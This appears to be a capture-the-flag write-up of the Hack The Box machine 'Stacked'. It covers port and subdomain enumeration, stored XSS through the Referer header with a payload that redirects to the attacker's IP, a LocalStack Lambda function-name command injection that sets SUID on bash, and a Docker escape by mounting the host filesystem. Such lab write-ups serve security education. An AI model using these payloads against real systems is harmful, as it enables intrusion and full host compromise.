$ nmap -p- --min-rate 3000 10.129.228.28
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:06 EDT
Nmap scan report for 10.129.228.28
Host is up (0.0074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2376/tcp open docker
Detailed scan:
$ nmap -p 80,2376 -sC -sV --min-rate 3000 10.129.228.28
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:09 EDT
Nmap scan report for 10.129.228.28
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
2376/tcp open ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2022-08-17T15:41:56
|_Not valid after: 2025-05-12T15:41:56
Service Info: Host: stacked.htb
Added stacked.htb to the /etc/hosts file based on the nmap scan results.
Web Enum
Port 80 just shows a basic count down page:
When I was about to do a wfuzz scan, I noticed something rather weird:
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H 'Host: FUZZ.stacked.htb' -u http://stacked.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://stacked.htb/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000032: 302 9 L 26 W 285 Ch "blog"
000000029: 302 9 L 26 W 288 Ch "privacy"
000000024: 302 9 L 26 W 283 Ch "12"
000000028: 302 9 L 26 W 287 Ch "spacer"
000000026: 302 9 L 26 W 286 Ch "about"
000000022: 302 9 L 26 W 286 Ch "warez"
000000021: 302 9 L 26 W 287 Ch "serial"
000000025: 302 9 L 26 W 288 Ch "contact"
000000027: 302 9 L 26 W 287 Ch "search"
000000023: 302 9 L 26 W 285 Ch "full"
000000020: 302 9 L 26 W 286 Ch "crack"
For some reason, the length of the result is dependent on the sub-domain. Anyways, when filtering results by line length using the --hl 9 flag, I found a portfolio subdomain.
The portfolio page was promoting 'LocalStack Development':
In the About section, there's an option to download a file:
I found it particularly weird that the form actually sent a request. Most of the time, these machines have static forms that do nothing.
Finding XSS -> Mail Subdomain
There was no other endpoint on this website, and I ran out of ideas. As such, I focused on entering random payloads in this form field.
Eventually I found that XSS was being checked for:
This could mean a simulated user was looking at my messages, and I have to find a way to bypass this (I literally had no other leads). Sending it still didn't work:
I was stuck here for really long. I could not bypass this weird check in any way. I thought about the fact that this process.php might be storing more than the actual message. It might be storing some additional information about the sender through the different HTTP headers.
I replaced the some of the HTTP headers with <script>document.location="http://10.10.14.18/hiiamxss_HEADERNAME"</script>. I did this for the User-Agent, Origin and Referer headers (the only ones without erroring out).
After a bit, I got a hit on my Python HTTP server:
The Referer header is vulnerable! Using this, I can now create a script to automate this.
The output from this was a HTML page for an AdminLTE3 mailbox:
Interesting! I also noted that in the initial request, I saw the Referer header was set to http://mail.stacked.htb/read-mail.php?id=2. I changed the URL to make have the id parameter set to 1, and stole the page.
There was this interesting chunk here:
AWS Lambda RCE
There were some AWS terms in the docker-compose.yml like LAMBDA_EXECUTOR and SERVICES=serverless.
I went to read more about all of these, and found that for AWS, serverless means there is no infrastructure to be handled. Lambdas are a serverless, event-driven compute service used to run code without managing servers. From this, it appears abusing Lambdas is the next step.
In the documentation linked above, there are steps. First, I used their example file:
However, there was nothing I could do with this! The machine was serverless, so the container run would die after a few seconds.
Localstack + AWS -> RCE
So now I know I can at least run Javascript somewhere on the machine. Researching for LocalStack RCE exploits returned these 2 pages:
In short, there's an RCE exploit in the dashboard, which I assume is running on port 8080 based the docker-compose.yml file.
The specific vulnerability lies in the functionName parameter, which is taken fron the name of the Lambda function executed. To exploit this, I have to specify a malicious function name within the AWS instance.
This is triggered from loading the dashboard, so I can change the initial XSS payload to just visit http://127.0.0.1:8080 instead of loading a remote script via document.location.
Based on the SonarSource blog, the payload is just the command to be executed:
The above simply created a Docker container in a subshell, and I was looknig for things ICould control. index.handler was the one input I could change.
As such, I created a function with chmod u+s /bin/bash appended to the back since the index.handler string was already in a subshell.
The main thing I wanted to enumerate first was docker, since this container was spawning other containers. It might be possible that it had an image for the machine with the flag in it.
As root, I can use it to view the current running containers and images present:
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7dc04fa2d220 localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 4 hours ago Up 4 hours 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_main
# docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
localstack/localstack-full 0.12.6 7085b5de9f7c 2 years ago 888MB
localstack/localstack-full <none> 0601ea177088 3 years ago 882MB
lambci/lambda nodejs12.x 22a4ada8399c 3 years ago 390MB
lambci/lambda nodejs10.x db93be728e7b 3 years ago 385MB
lambci/lambda nodejs8.10 5754fee26e6e 3 years ago 813MB
I checked each of them, and found that localstack-full was the correct one to use.
# docker run -d -v /:/mnt -it 0601ea177088
c5807cc0f7b2de02ee658a592c37560d5cb4f216f50cfd6a4501e51ff025d55a
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c5807cc0f7b2 0601ea177088 "docker-entrypoint.sh" 29 seconds ago Up 28 seconds 4566/tcp, 4571/tcp, 8080/tcp elastic_maxwell
7dc04fa2d220 localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 4 hours ago Up 4 hours 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_mai
Now, I could execute commands on it, and I had mounted the root file directory at /mnt, allowing me to grab the flag:
Using this, I could ssh into the machine as root since I had access to the root user's .ssh directory: